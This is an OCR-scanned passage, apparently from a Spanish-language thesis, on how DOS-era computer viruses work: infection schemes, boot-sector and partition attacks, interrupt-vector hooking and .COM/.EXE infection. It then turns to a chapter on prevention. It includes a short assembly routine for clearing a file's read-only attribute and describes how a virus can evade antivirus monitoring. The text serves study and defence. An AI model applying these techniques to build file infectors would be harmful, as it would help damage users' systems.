1 VIRUS PHOORAMA DE USUARIO 1 \ 

1 VIRUS 1 PROGRAMA DE USUARIO 2 

FIGURA 2· 11. 
ESTADO DEL SISTEMA 

DESPUES DE LA SEGUNDA 
lfffECCION 

Nótese que ahora ambos programas de usuario 1 y 2, probablemente, serán 

incapaces de ejecutar sus funciones originales, poro aún son aptos de hacer 

algún dai'io. Nótese también que el programa portador aún contiene al virus 

y que, consecuentemente, intentará infectar más programas cada vez que 

sea ejecutado. Además el programa portador parece estar ejecutando su 

función señalada. Si el usuario sospecha de la existencia del virus, lNo sería 

más probable presumir que está en el programa de usuario1?. Después de 

todo, este programa se comportó de manera extraña (provocado por la 

sustttuclón de sus instrucciones originales por las instruciones del virus). Este 

ataque en particular puede ser aún más desconcertante, haciendo que el 

programa portador infecte otros programas después de alguna fecha 

determinada o en respuesta a alguna aparente condición casual (tal corno 

cuando la hora del sistema dividida entre 27 el residuo sea igual a O) 

Virus de remplazo. 
El segundo grupo en importancia son los virus de remplazo. Estos virus 

operan remplazando algún programa con un equivalente funcional del 

mismo, el cual contiene al virus. El programa remplazado no necestta tener 

más longitud, aunque estón Incluidas las funciones del virus. Por ejemplo, un 

programa originalmente escrito en algún lenguaje de alto nivel, puede 

también ser escrtto en lenguaje ensamblador. El código destinado para la 

versién en lenguaje ensamblador es mucho más pequeña y así se tiene 

espacio para alojar al virus, la figura 2-12 ilustra este tipo da ataque. 

64 



PROGRAMA ORIGINAL 

1 vmus VERSlON COMPRlMlOA DEL PAOORAMA 

FIOURA2·12 
ATAQUE DE UN VIRUS DE REMPLAZO 

Una de las caracterlsticas más particulares de este tipo de ataque es el de 

transformar un programa previamente "confiable" en un Caballo de Troya, y 
asl, añadir una interesante complicación a lo explicado en la sección 2.3.1. 

Aunque el número de programas que pueden ser atacados por este tipo de 

virus es limitado y aunque este tipo de virus es el blanco d$1 muchos 

programas antivirus, la detección de este tipo de infección suGle ser muy 

diffcil. 

Virus de Inserción. 

El último grupo de virus en este esquema de clasificación son tos de 

inserción. Son tal vez los más peligrosos porque pueden infectar un amplio 

rango de programas mientras no destruyan la luncionalidad del programa 

anfitrión. Opera af\adiendo un código al programa anfitrión, incrementando la 

longitud del archivo o aprovechando el espacio de~perdiciado dentro del 

anfitrión. Se identifican dos esquemas. 

En el primer esquema, el virus primero incrementa la medida del archivo que 

va a Infectar. Después mueve el código original "hacia atrás", dejando 
espacio al principio del archivo en donde se inserta el código del virus. Este 

esquema se ilustra en la figura 2· 13. 
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EXPANSION 
DEL PROORAMA 

MUEVE AL 
PROGRAMA ORIGINAL 

PROGRAMA ORIGINAL 

PROGRAMA OAIOINAL 

PROGRAMA ORIGINAL 

INSERTA EL VIRUS G .... v_1R_us _ _,__PR_oo_RA_MA_on_10_1_NA_L _ _, 

FJOURA 2·13. ESQUEMA DE ATi\OUE DE UN VIRUS DE INSERCIÓN 

En el segundo esquema, el virus guarda en memoria el conjunto de 

Instrucciones que son el comienzo del archivo que va a infectar y lo sustttuye 

por una instrucción de salto Gump - JMP) y en algunas ocasion&s también un 

Indicador de virus (el cual le sirve posteriormente, para reconocer que ese 

programa ya fué infectado). El conjunto de instrucciones remplazado es 
al\adldo después del código del virus y después de esto, ambos se 

adicionan al final del programa que está siendo infectado. Cuando un 

progrnma infectado as ejecutado, salta al cuerpo principal del virus y lo 

ejecuta, efectuando funciones determinadas por su creador, tal como infectar 

otros programas, borrar archivos o evaluar condiciones determinadas. 

Posteriormente se ejecuta el código del programa infectado. Una variación 

en este esquema es transferir el control a otro archivo (tal vez oculto) o a una 

rutina residente en memoria. Otra modificación, menos frecuente, es 

remplazar un conjunto de instrucciones del archivo por Infectar en la parte de 

enmedio, en lugar del principio. Aunque es generalmente más difícil diseñar 

un virus que identifique un punto de inserción que permtta conservar la 

funcionalidad de los programas infectados, esto son muy difíciles de detectar 

porque sólo se convertirían en activos cuando el programa anfitrión ejecute la 

sección infectada del código. Este esquema es ilustrado en la figura 2-14, 
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EXPANDE AL PROORAMA 

INSERTA UN SALTO V 
EL CUERPO PRINCIPAL 

DEL VIRUS 

PROORAMA ORlOINAl 

PROORAM.t.. ORIOIN.t..L 

CUERPO PRINCIPAL 
DEL VIRUS 

FIGURA 2·14 ESQUEMA 0( AT ,._QUE DE UN VIRUS DE SOBREESCRITURA 

Partlslón de Disco f Pertlclón Lógica). 
El Sistema Operativo perm~e a una unidad de disco duro ser dividida en dos 

o más discos lógicos. Asl, un disco duro de 100 Mb puede ser dividido en 

tres discos lógicos: uno de 60 Mb y dos do 20 Mb. Cad3 una de las partes 

de la división es vista por el DOS como discos separados: "C", "0" y asl 

sucesivamente. La medida de cada parte es guardada en el disco duro, en el 

primer sector y este código es responsable para ubicar un sector de 

arranque (boot sector) en uno de los discos lógicos. 

El código de partición del disco puede ser infectado por un virus, pero éste 

sólo liene 446 bytes, por lo que una forma de ataque común es la de 

ocultarlo cambiándolo de lugar, moviéndolo a una parte específica dentro del 

mismo disco duro y después colocar el código viral en su lugar, 

enlazándolos. Esta es la técnica utilizada por el virus New Zealand, 

descubierto en 1988, la cual se esquemaliza en la figura 2-15. 
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ROM 

RCM 

REGISTRO DE 
PARTICION 

COOtOO 
VIRAL 

SECTOR DE 
CARGA 

SECTOR DE 
CARGA 

FIGURA 2-15. ATAQUE VIRAL AL REGISTRO DE PARTICION 

§actor de Carga (b~LQ!'.)., 

DISCO DURO ANTES 
DE LA INFECCION 

DISCO DURO OESPUES 
DE LA INFECCION 

Al arrancar ol computador las rutinas del ROM ejecutan el código del sector 

de carga (boot sector • lado O, pista O, sector 1). El sector de carga contiene 

información detallada del sistema en el disco y también donde localizar al 

archivo 10.SYS. Este archivo efectúa la siguiente etapa de la secuencia de 

arranque (vea la figura 2-16). 

ROM 4 SECTOR DE 1 
CARO A 

FIGURA 2·16. LOCALllACION DEL ARCHIVO 10 SVS 

Un uso común del sector do arranque es ejecutar un programa de 

aplicación, tal como correr un juego automáticamente; desafortunadamente, 

también puede incluirse la iniciación automática de un virus, por esto el 

sector de carga es un blanco común para la Infección. 
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El espacia disponible en el sector de carga es \imitada (un paco más de 460 

bytes), par esta se emplea la técnica de reubicar el sector de carga origina\ a 

otra sector dentro del disco, miontras que en su lugar se susrnuye por el 

código viral. 
Un ejemplo tlpica de tal virus es el Alameda. Este virus mueve el sector de 

carga origina\ a la pista 39 , sector 8 y lo reemplaza par su propia código 

viral, coma se muestra en la figura 2· 17. 

ROM COO!OO 
VIRAL 

ARCHIVO 
IOSVS 

FIGURA 2·17, LOCALIZACION DEL ARCHIVO 10.SVS 
OESPUES DE UN ATAQUE VIRAL 

Otras virus conocidos, qua emplean el mismo esquema, san el New Zealand, 

Brain, ltalian, Search, Blaomintan y Staned. Las virus que emplean esta 

técnica san particularmente peligrosas a causa de que capturan el control 

del sistema de la computadora muy rápidamente, antes de que cualquier 

software antiviral se active. 

Archivos MSDOS.SYS, 10.SYS. 
El programa de arranque contenida en el sector cera carga al archivo 

10.SYS, el cual realiza otras tareas de inicialización, después carga al DOS 

contenido en el archiva MSDOS.SYS. Ambas archivas pueden ser objetiva 

de infección viral, aunque na se conoce un virus, hasta ahora, que los 

ataque. 
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Archivo COMAND.COM , 

El código MSDOS.SYS ejecuta el comando shell del sistema 

(COMMAND.COM). Este programa provee la Interfase con el usuario, 

permitiendo la ejecución de comandos desde el teclado. El programa 

COMAND.COM puede ser infectado, como cualquier otro archivo (inserción, 

remplazo o sobreescrltura). 

Archivo AUTOEXEC.BAT. 

Al cargarse el programa COMMAND.COM, éste ejecuta una lista de 

comandos contenidos en el archivo AUTOEXEC.BAT, el cual es un archivo 

de texto con una secuencia do órdenes para ser ejecutadas por el inlérprete 

de comandos. Un virus puede modificar este archivo para incluir la ejecución 

de si mismo. Estos virus son lentos para reproducirse y muy fácil de localizar, 

por este motivo, tal técnica no es usada por virus conocido, solamente se 

tiene noticia de un virus desarrollado por Ralf Burger con fines 

experimentales y educativos. 

Virus Residentes. 

Los virus más "exitosos" a la fecha explotan una variedad de técnicas para 

permanecer residentes en la memoria una vez que su código ha sido 

ejecutado y su programa anfitrión ha terminado. Esto implica que una vez 

que se ha cargado un programa infectado el virus podrá desplegarse, 

potencialmente, a cualquiera de todos los programas del sistema, 

permaneciendo activo durante toda la sesión de trabajo {has!~ "ue el 

sistema sea reinicializado o la computadora sea apagada). 

Para lograr su residencia en memoria efectúan una infección de los vectores 

de Interrupción estándar usados por el DOS y el BIOS, los cuales son 

invocados por otras aplicaciones cuando hacen solicitudes a sus servicios. 

Cuando una interrupción es llamada, el sistema operativo ejecuta una rutina 

cuya ubicación localiza de una tabla conocida como vectores de 

Interrupción. Normalmente esta tabla contiene apuntadores para rutinas en el 

ROM o en las partes residentes en memoria del DOS, como se muestra en la 

figura2-18. 
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tNTERAlJPCION 1lh 

INTEARlJPCION 1'4h 

INTEARUPCION 21h 

ROM 
BIOS 

DOS 

FIGURA :H8. USO MCAW..L OE lNTERAUPCION 

Un virus puede modificar esta tabla, así que la interrupción llame un código 

viral (residente en mamori:i), para ser ejecutado. Las interrupciones más 

comunmente infectadas son señaladas en la tabla 2-1. 

AJ infectar, por ejemplo, fa interrupción para el uso del teclado, un virus 

puede "arreglar" el Ctrl-Att-Del para reinicializar el sistema. Si infecta a la 

interrupción de manejo de disco del BIOS, un virus puede interceptar toda 

actividad de los discos, incluyendo lecturas del sector de carga. Atrapando la 

interrupción de servicios del DOS, podrá manipular solicttudes de ubicación 

de memoria. 

Por ejemplo, un virus puede atrapar la interrupción de servicios del DOS, 
causando que su código sea ejecutado primero antes de Jlamar a tal servicio, 

para procesar la solicitud. Esto se representa en la figura 2-19. 
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INTERRUPCION 13h 

1NTEAAUPCION 1'4h 

INTEAAUPCION 21 h 

ROM 
BIOS 

DOS 

VIRUS 

FIGURA 2·19. LOS VIRUS TSR REEMPLAZAN LOS VECTORES DE INTC:RRUPClON 

2.4.2. Mecanismos de iM,;c;;lón. 

Como se menciona anteriormente, los virus también pueden ser analizados 

en términos de "dónde viven" o, más exactamente, que porción del disco o que 

tipo de archivos infectan. También aqul se agrupan en tres amplias categorlas: 

infectares del boot sector (sector O - sector de carga inicial de los discos), 

infectares del sistema e infectares de aplicaciones genéricas. Podrá advertirse que 

un solo virus puede contener los tras tipos de mecanismos de infección. 
Los infectares del boot atacan ol boot sector do los discos flexibles y/o 

duros (un estudio de la estructura de los discos se presenta en la sección 2.2). 

Ellos obtienen el control del sistema cuando éste es inicialmente actlvado y 

típicamente permanece residente en memoria, ~-ontrolando el sistema hasta que 

es desactivado. 
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Los lnfectores del sistema atacan al menos a un archivo del sistema 

operativo (tal como el IBMBIO.COM o COMMAND.COM). Para mayor referencia 

de estos archivos vea la sección 2.1. Este tipo de virus obtienen control durante la 
Inicialización del sistema, siguiente il la secuencia dol arranque del comrutador. 

Los infectares da aplicaciones generales, como el nombro lo indica, atacan 

a un amplio rango de aplicaciones o programas y pueden ser específicas para 

ciertos tipos de archivos. 

Los infectares del boot están restringidos a obtener al menos sus porciones 

Iniciales en ubicaciones especificas do un rlisco. Por otro lado, tionon la ventaja de 

ser cargados antes de cualquier otro programa y ya que permanecen residentes 

en memoria y dado que todos los disc.-os tienen un área de boot sector (vease 

sección 2.2), puodon infectar cualquier disco que so insorte en cualquiera de las 

unidades para disco flexible del computador, los cuales al emplears8 en otra 

computadora como disco bootable. infGctarán al disco duro (si existe) de ósta. 

Los infectares del sistema están restringidos en el hecho que sólo pueden 

Infectar algunos archivos especfficos. Pero ya que estos archivos son parte del 

sistema operativo, están presentes en practlcamonte todas las computadoras y 

por ello proporcionan un punto de ataque "estándar". Son particularmente 

molestos porque infectan la parte del sistema que modera y controla el acceso a 

los recursos del sistema. Por ejemplo, si COMMAND.COM en una máquina 

PC/MS-DOS está infectado, significa que todos los programas que "se comportan 

correctamente", tendrán requerimientos de los sorvicios del ::;istema (tales como 

lectura y escritura de y en los discos) controlados por un virus. 

Los infectares de aplicaciones generales, afectan las aplicaciones de los 

programas. Es por esto que se les puede encontrar en un gran número de 

anfrtriones. Puerlen extendmse a otras máquinas dado que estas aplicaciones 

suelen ser canjeadas. La única restricción fundamental en este tipo particular de 

infección es que un programa infectado debe ser ejecutado para que el virus 

efectúe las funciones de daños previstos, las cuales usualmente tienen un 

dispositivo que espera una señal para dispararlas, tal como una hora o una fecha 

determinada. Las probabilidades de que al momento de ejecutarse el programa 

Infectado (y del virus contenido en él), se cumpla con la condición predeterminadn 

del "disparo" de las funciones dañinas crece mientras mayor sea el número do 

archivos infectados en el computador, al grado que si todos los programas e3tán 



Infectados, se puede hablar de un 95% de probabllldad de que tales funciones 

sean activadas. 

2.4.3. Vulnerabllldadea eapecUlcoa dol I BM • PC 

En esta sección se examina la arquitectura general del sistema, en relación 

al ataque de los virus. So recomionda que se estudien las secciones 2.1 y 2.2 para 

que los conceptos aquf expresados sean plenamente comprendidos. 

Hay tres aspectos básicos para un análisis pertinente de los virus en las 

computadoras IBM PC: la estructura de los discos en la PC/MS-DOS, la 

organización del sistema operativo y el sistema de memoria, y la estructura de los 

archivos ejecutables. 

Estructura de los dfscoo. 

Un disco formateado por DOS está organizado por un juego de cfrculos 

concéntricos o "pistas". Cada pista tiene un número, siendo la número O la 

pista mas cercana al límtte exterior de la pista. Cada pista esta subdividida en 

sectores, cada sector tiene una capacidad de 512 bytes. 

El sector O - boot sector- contiene Ja identificación de manufactura del equipo 

inicial (OEM), la tabla de parámetros del disco (DPD, Ja cual indica el número 

de lados que han sido formateados, el número de pistas, número de 

sectores por pista, número de bytos por sector, etc., y la rutina de arranque 

(ver figura 2-Gb). Los bytes 11 (OBh) al 23 (17h) del boot sector son leidos 

por la cabeza de lectura/escrilura cada vez que se accede por primera vez al 

disco, poro Jo rutinG do orranquo sólo es ojocutado cuando so inicializ~ (o 

restablece - reset) al computador.Durante este proceso Ja rutina de arranque 

causa que los archivos fundamentales del sistema operativo sean cargados 

en memoria; pero los virus infectaros del boot remplazan esta rutina por su 

código, por lo que se cargan en memoria fácilmente. 

La FAT contiene la posición da cada cadena de cluster que constituyan un 

archivo, asf el sistema sabe cuáles clustars están libres, cuálos son parte de 

un archivo y cuáles están dañados y no pueden ser usados. Sin embargo, 

algunos clusters que no están dañados y pueden ser utilizados se pueden 
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marcar como dañados, por lo quo no se quieren leer por medios normales 

(por el sistema operativo), pero mediante funciones especiales se puede 

instruir al controlador del disco para leer cluster "defectuosos". Asf, un virus 

puede marcar los clusters en los cualos reside como dañados en base a 

instrucciones especiales, por lo que puede ocupar espacio en al disco que 

no se mostrará como parta del directorio del mismo y no podrá sor afectado 

o utilizado por parte del sis~erric~ 0re1 etivo, pi:iro contendr~ un código que 

puede ser cargado y ejecutado Esta técnica es empleada por el virus Brian. 

En el área de directorio rafz (root directory). so tiono un campo cuyo valor 

especifica el número del primer cluster en donde comienza un archivo {ver 

figura 2-6c). Esto valor puede ser afectado y cambiado por el número del 

cluster en donde comienza otro programa, que puede ser un virus. 

Por otro lado, el sistema operativo distribuyo el almacenamiento de los 

archivos en clusters, cada cluster puede estar constituido por dos o más 

sectores; esto es determinado por el formato del disco. Por ejemplo, para un 

disco floxlblo do 5 1/4 do 360k, se tienen 2 sectores por cluster (1024 bytes). 

Asf, aunque un archivo sea de 1 00 b¡tes usara 2 sectores del disco, y 

desperdiciará 924 bytes de espacio en él disco. Este espacio lo rellena al 

sistema operativo con ceros y puede ser aprovechado por un virus, 

instalando en él su código. Similarmente, si un archivo tiene 2049 bytes de 

extensión ocupara 6 sectores dejando 1023 bytes libres. 

El área del directorio base (root director/) contiene registros con el nombre 

del archivo, su extensión, su longitud, la hora y fecha en que fue croado o en 

la que se efectúo la última modificación y los atributos del archivo (sólo 

lectura, oculto, subdirectorio, etiqueta). 

Al observar el directorio base so puedo observar qua todos los campos nn él 

son escencialmente datos que residen on una conócida o predeterminada 

ubicación, y pueden ser cambiados fácilmente por otros datos, 

destacándose particularmente los atributos del archivo (en particular el M de 

sólo lectura y ocultamiento). 

La siguiente rutina escrita en lenguaje ensamblador ilustra como se puede 

modificar el atributo de sólo lectura de un archivo : 
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MOV AH,4311 

MOV AL,OOh 

MOV. DX,xxxxh 

INT. 21h 

ANO CX,11111110b 

MOV AH,43h 

MOV Al,01h 

INT. 21h 

;Mover 43h al registro AH para solicitar la 
;función 43h de la interrupción 21 h, 
;atributo de archivo - Servicios dal DOS. 
;Poner a O el registro AL para obtener ol 
;atributo. 
;Dar la dirección de la ubicación del 
;archivo en el directorio. 
;Invoca la interrupción después do qua 
;se inicializaron los registros. 
;El bit da atributo dol archivo se 
:encontrará en el registro ex después de 
;que se ejecuta la interrupción. 
:Cambia el primer bit a O para 
;establecer el archivo como modificable. 
;Mueve el valor 43h al registro AH para 
;solicitar nuavamento el mismo sorvicio 
;Mover 1 al registro AL para establecer el 
;modo de función "coloca atributo" de la 
;función 43h 
;Invoca la interrupción 21 h después de 
;haber modificado el registro CX el cual 
;remplazará al byte de atributo de 
;archivo 

Un virus puede así, leer el byte original de atributo de archivo, hacer los 

cambios mencionados, hacer su daño y restablecer los atributos originales. 

Casos similares se aplican a otras características similares en el directorio. El 

resultado total de todo esto es que un archivo puede ser infectado y aún 

manejarse por los controles normales como si no hubiera sido ''ocado". 

Por otro lado, el directorio base (root directory) consiste de un número 

determinado de registros, cada regís/ro consiste de 32 bytes dispuestos 

como se muestra en la figura 2-16. Los registros que no han sido usados 

tienen el valor OOh como el primer caracter (el primer byte). Tomando en 

cuenta que los registros de archivos que han sido borrados tienen el valor de 

E5h en su primer byte, los nuevos registros de archivos son creadas usando 

la primer ranura disponible (borrada o nunca antes usada). El listado de 

archivos del subdirectorio por DIR, normalmente se detiene cuando tropieza 

con un OOh como el primer caracter de un regls1ro de archivo porque este 
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serla normalmente el final de la lista. Asf por colocar OOh en un lugar 

apropiado, un virus posiblemente puede tener de 5 a 6 sectores (2560 a 
3072 bytes) a su disposición. 

Organización del sh1toma op&rpt!YJD'._filª1!!2!1Jh 
El mapa de memoria básica de la PC se muestra en la figura 2-1. El punto 

clave on este toma es el bloque etiquetado como "vectores de Interrupción" el 

cual ocupa los primeros 1024 bytss de memoria. Cada vector de interrupción 
consiste de cuatro bytes que especifican la dirección de comienzo para 

llamar una rutina de manojo do interrupción, la cual provee algunas funciones 

especificas o servicios. talos como aceptar una entrada del teclado, 

desplegar un dato en pantalla, acceso a los discos, etc. Lo que es 

conveniente para los virus es el hecho de que estos vectores ocupan lugares 

conocidos en la memoria. que ellos están espocfficamente asociados con 

servicios particulares y lo que es más importante, que en ellos se puede 

establecer una dirección para señalar cualquier ubicación dentro del espacio 

de direcciones del procesador. Asf, un virus puede· leer una ubicación 
conocida en la memoria (un vector de interrupción), copiar la dirección del 

respectivo manejador de intArrupc!ón, ~u~tttulr\a por Id dirección del 

comienzo de un programa virus, y utilizar la dirección de la rutina substrtuida 

para que pueda ser usada ésta por el propio virus a través de sus rutinas. De 

esta manera, siempre que la interrupción sustrtuida sea invocnda so ejecutará 

primero la rutina del virus. efectuando todo el daño para el que fué diseñado 

y después le transfiere el control a la rutina de manejo de interrupciones 

dando la impresión do qua todo se efectuó normalmente. 

Por ejemplo, el virus Brian redirocciona ol vector de la interrupción de control 

de servicios de acceso a los discos flexibles, de tal manera que éste señala a 

la dirección del código del virus, además de conservar y utilizar la dirección 

real de la rutina que proporciona estos servicios. Asf, cada vez que se pida 

un acceso a un disco quo no esté protegido contra escritura, el virus tendrá 

la oportunidad de infectarlo o de causarle algún daño. Además pide leer los 

sectores particulares del disco (básicamente el boot sector y la FAT) para 

reubicarlos y sustituirlos por su código. Igualmente, técnicas similares 

pueden ser empleadas para utilizar, remplazándolos, los demás vectores de 
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Interrupción, destacando uno particularmente poderoso: el Interruptor 21 h 

(decimal 33), servicios del DOS. Para mayor Información de est:l interrupción 

revise el apéndice B. 

Es conveniente mencionar que cualquier programa de protección (antMrus) 

que opera como un proceso "clandestino" redirecclonando el interruptor 08h 

(decimal 8), que es el medidor de tiempo (de tal forma que este programa se 

heria activo periódicamente), podrla sor vonciclo por un virus que 

slmplemente desactivó el programa de protección al alterar la misma 

interrupción y efectuar sus funciones posteriormente. 

Estructura de ro~ archivo~ elocutpbfoc. 
Estos son archivos que contienen programas. En la PC/MS-DOS hay dos 

tipos de archivos ejecutables, identificados por su extensiones: .COM y .EXE. 

Las dos diferencias fundamentales entre éstos son: la primera es que los 

archivos .COM tienen una medida máxima de alrededor de 64 kbytes, 

mientras que los .EXE están limitados sólo por la suma de la memoria 

disponible y la segunda es que los archivos .COM están sobre el disco 

esencialmente como una imagen de lo que es cargado en la memoria y 
ejecutado, en cambio los .EXE contienen un "encabezado" que debe ser 
proc;;sado antes de que el programa pueda ser e¡ecutado. 

Como se menciona anteriormente. los virus de sobreescr~ura y remplazo 

esencialmente reubican las porciones modificadas de un programa y se 

pueden crear fácilmente (por lo que el análisis se centrará en los virus de 

inserción). Como antecedente es necesario mencionar que el procesador 

8088 de lntel organiza la memoria en bloques de 64 kbytes, los cuales son 

llamados segmentos. Una dirección especifica en Ja máquina está 

determinada por la combinación del número del segmento y un 

desplazamiento dentro de este segmento. Para mayor información consulte 

el apéndice C. 

Carga de un archivo elecutable. 

Cuando cualquier tipo de programa es cargado en la memoria para ser 

ejecutado, el sistema operativo construye un segmento de prefijo de 
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programa (PSP - Program Segment Prefix), el cual ocupa los primeros 100h 

(decimal 256) bytes del segmento en el cual el programa fuó cargado. El PSP 

contiene una variedad de Información, pero hay un tema de interés particular. 

Comenzando en el desplazamiento 05h (decimal 80) se encuentra el código 

que llama al despachador de funciones del DOS (el cual es normalmente 

abordado por vla de la Interrupción 21 h (decimal 33)). Esto permite que un 

virus engañe un programa defensivo (antivirus) que 'se engaña a si mismo•, 

por la interrupción 21 h por la siguiente secuencia de acciones: 

1 El virus consigue la dirección del PSP mediante la interrupción 62h 

ldecimal 98) 

2 Carga al registro AH con el número de la función deseada del DOS y 
establece los valores de los demás reaistros aprooiadamente. 

3 Usa una llamado a subrutina (una instrucción particular de salto - CALL) 

a la dirección 50h dentro del PSP activo, para Invocar la función 

deseada, desviando totalmente el interruotor 21h en el PSP. 

Archivos .COM 
Para los archivos .COM el primer byte del archivo es la primera Instrucción 

ejectuble del programa. Por esto, todos los archivos .COM comienzan su 

ejecución en la dirección definida por el desplazamiento 1 OOh (que es la 

longltud del PSP). Asl, un virus sólo necesita salvar las primeros bytes de un 

archivo, remplazarlos con apropiadas Instrucciones de salto (jump -JMP) e 

indicador y apendizar el cuerpo principal del código virus al final del archivo. 

Consecuentemente se puede determinar el segmento activo del PSP usando 

la lnterrupcción 6211, para restablecer los bytes originales del encabezado del 

programa infectado y reiniciar el programa ejecutando un salto (JMP) hacia 

atrás (a la dirección de comienzo del programa). 

Archivos .EXE 

Infectar un .EXE es considerablemente más diflcil, por el hecho de que la 

primera Instrucción ejecutable está en una ubicación dentro del archivo que 

no es conocida a priori. Como se mencionó antes, cada archivo .EXE tiene 

un •encabezado" que contiene información usada para cargar el programa. 

Esta información se presenta en la figura 2-20. 
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FIGURA 2-20. LA DISPOSICION DE ENCABEZADO PARA UN ARCHIVO .EXE 

Un programa .EXE es cargado para su ejecución a través de las siguientes 

acciones: 

• Un PSP es establecido después de la parte residente del programa que 

realiza la operación de carga (frecuentemente el COMMAND.COM). 
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• El encabezado del archivo .EXE se lee en msmoria y se calcula la longitud 

del módulo (resto del programa) que será cargado. Esto es hecho por la 

combinación de la informacón de tres de los campos que se encuentran 

dentro del encabezado. El tamano del módulo (TM) será igual a: 

TM=[(512 x número de páginas} • (16 x númaro da campos del 

encabezado} + (longttud del archivo mod 512)] 

. Se determina un segmento apropiado en el cual se coloca el módulo. Este 

es llamado como el 'primer segmento''. 

El módulo de carga es entonces leído dentro de la memoria comenzando por 

el 'primer sector". La tabla de reubicaciones es leída entonces dentro de la 

mamarla de trabajo. La tabla de reubicaciones consta de un número variable 

de datos que contienen las direcciones de los segmentos y desplazamientos 

de los campos en el módulo de carga que deben modificarse al comenzar el 

programa. El valor del segmento del campo de reubicación debe sumarse al 
primer segmento. Este nuevo valor de segmento es combinado con el valor 

de desplazamiento para una reubicación, para determinar la ubicación exacta 

en el módulo de carga. El contenido de esta dirección es incrementado por 

el valor del segmento Indicador. Una vez que todos los campos reubicados 

han sido procesados, los registros SS e SP son colocados desde los valores 

en el encabezado de archivo .EXE y el segmento indicador adherido al SS. 

Los registros ES y DS son colocados al segmento de dirección del PSP. El 

segmento Indicador es adherido al valor especificado en el encabezado para 
el registro CS. El desplazamineto especificado para el IP es entonces 

combinado con el registro es para determinar el punto de entrada para el 

programa .EXE. 

Es fácil apreciar que la infección de un archivo .EXE es una tarea difícil, ya 

que ldónde ubicar el código virus? es un problema complejo. Si el segmento 

del programa se ajusta dentro de algo menos de 64 Kb de memoria (la 

medida del segmento), entonces, Infectar al programa se convierte , 

esencialmente, como infectar un programa .COM una vez que sea conocida 
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la ubicación relativa de la primera instrucción. Además se tiene el problema 

de· la palabra "checksum" (2 bytes comenzando oo el desplazamiento 001211 
en el encabezado), el cual debe ser recalculado para el archivo Infectado y 

remplazado por el nuevo valor. 
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3 

DETECCION Y PROTECCION EN 
SISTEMAS DE COMPUTO 

En los capitules anteriores se explica que es un virus Informático y sus 

características. Una vez delimitado su comportamiento, en relación al daño que 

provocan, se plantea ahora un programa de prevención de virus. 

En la mayorla da los programa de prevención contra virus el punto central as el 

aspecto de la detocclón, confiando demasiado la seguridad de los slsl<lmas al 
software de detección viral. Este hecho en si da ventaja a los programas virus, ya 

que se ha comprobado que el software para detección de actividad viral no 

proporciona el 100% de seguridad y, además, no es confiable en el caso da 
nuevos virus. 

Aunque el problema de la detección es uno de los puntos más Importantes en la 

prevención de ataques virales, no es el único. Es necesario observar los aspectos 

de administración de los sistemas y educación de los usuarios, esto con el fin da 

mirar al problema desda todos sus aspectos, logrando aislarlos hasta el punto de 

obtener una "asepsia informática". 

En rolación al aspecto de detección, una vez comprendido los puntos 

fundamentales da un programa da detección de virus, es posible que los usuarios 
puedan desarrollar aplicaciones especificas, da acuerdo a sus necesidades, o que 

puedan aprovechar, de mejor manera, los recursos existentes en los paquetes 
antivirus que se encuentran en el mercado de software. 

El uso de paquetes antivirus tiene sus pros y sus contras, pero es bueno contar 

con ellos, siempre y cuando se tenga en menta, que no se debe confiar en estar 

totalmente fuera del alcance de ataques, solamente por tenerlos. 



3.1. Reglas básicas de prevención. 

Para lograr una protección general contra: ataques por virus Informáticos, 

usuarios no autorizados, y amenazas afines; usuarios y administradores necesitan 

oiiminar o reducir la vulnerabilidad de los sistemas informáticos. La vulnerabilidad 

técnlca se explica ampliamente en el capitulo dos, paro aqul se presenta un 
sumario de los errores més frecuentes en los programas de prevención, en los 

sistemas Informáticos: 

• Falta de medidas preventivas de los usuarios - los usuarios copian y 

comparten software Infectado, falta de señales detectoras de actividad 

virulenta, los usuarios no comprenden correctamente las técnicas de 

seguridad. 

, Controles de seguridad ausentes o Inadecuados - las computadoras 
personales generalmente carecen de mecanismos de seguridad que ayuden 

a prevenir y detectar uso inadecuado; los controles existentes en sistemas 

multlusuarios suelen ser fácilmente superados por usuarios hábiles en 

programación y conocimientos profundos en temes informáticos . 

• Uso inefectivo de los controles de seguridad existentes- usando contraseñas 

obvias, que puedan ser fácilmente adivinadas; mala ubicación de las 

contraseñas autoriznd::s; ausencia de uso de controles de acceso, que otorga 

a los usuarios más libertad de la necesaria, para trabajar con las fuentes de 

Información . 

• Tropiezos y escapatorias en el sistema software - permitiendo a los usuarios 

eludir los controles de acceso a los sistemas o excader sus privilegios 

autorizados . 

• Susceptibilidad de trabajos en Roo • los trabajos en Red pueden proveer 

acceso anónimo al sistema, sin supervisión, por lo que muchos son en 

general sólo tan seguros como tos controles de prevención en los sistemas 

que tos usan. 

Como puede apreciarse en este sumario, la prevención contra virus requiere que 

las vulnerabilidades de los sistemas sean Identificadas. Algunas de ellas pueden 

ser fácilmente superadas, tanto como los controles de seguridad puedan ser 



mejorados, mientras otros son de algún modo inherontes en computación, tales 

como: los usuarios que no apliquen las medidas de seguridad, o bien, el riesgo de 

uso no autorizado de las computadoras, asl como trabajos en Red. 

Proteger completamente a los sistemas de todos los ataques virulentos es 

imposible. Sin embargo, para obtener un grado real de protección, todas las áreas 

de vulnerabilidad deben ser ubicadas; mejorando algunas áreas a costa de otras, 

aún dejando huecos Identificados en la seguridad. 

Es esencial conocer adecuadamente todas las áreas vulnerables, la Implicación 

activa ds los usuarios. la estructura do administración y la organización en un 

programa de prevención de virus. Tal programa, si es formal o informal, depende 

de la mutua cooperación de !os tres grupos para identificar los aspectos 

vulne;ables, para efectuar acciones necesarias corregirlas y para controlar los 

resultados. 

Un programa de prevención de virus debe estar basado Inicialmente en la 

administración efectiva de los sistemas de computación, permitir el acceso solo a 

usuarios autorizados, asegurándose de que el hardware y el software son 

adecuadamente controlados, proporciona un servicio de mantenimiento, hacer 
revisiones regularmente y mantener procedimientos de cantingencia para 

problemas potencialmenta graves. Es importante destacar que 

independientemente del tamano del equipo de cómputo, es absolutamente 

necesario contar con un programa básico de administración. Muchos vendedores 

proporcionan manuales de sistemas de administración que describen los 

aspectos de un programa básico. 

Una vez que es implantado un programa básico de administración, la dirección y 
los usuarios necesitan incorporar medidas de prevención que ayuden a detener 

ataques por virus y amenazas afines, ~ cuando ocurran, @!l1ªllil!: los 
ataques para limitar el daño, y restablecer el funcionamiento en un tiempo 

razonable con la menor perdida de información. Para conseguir estos objetivos, es 

necesario enfocar la atención a los siguientes aspectos: 

• Educar a los usuarios sobre un software malicioso en general, Jos riesgos que 

posee, la correcta aplicación da las medidas da control, pólizas y 

procedimientos para protegerse a si mismo y a la organización . 

• Pólizas da administración de software, procedimientos que regulan al dominio 
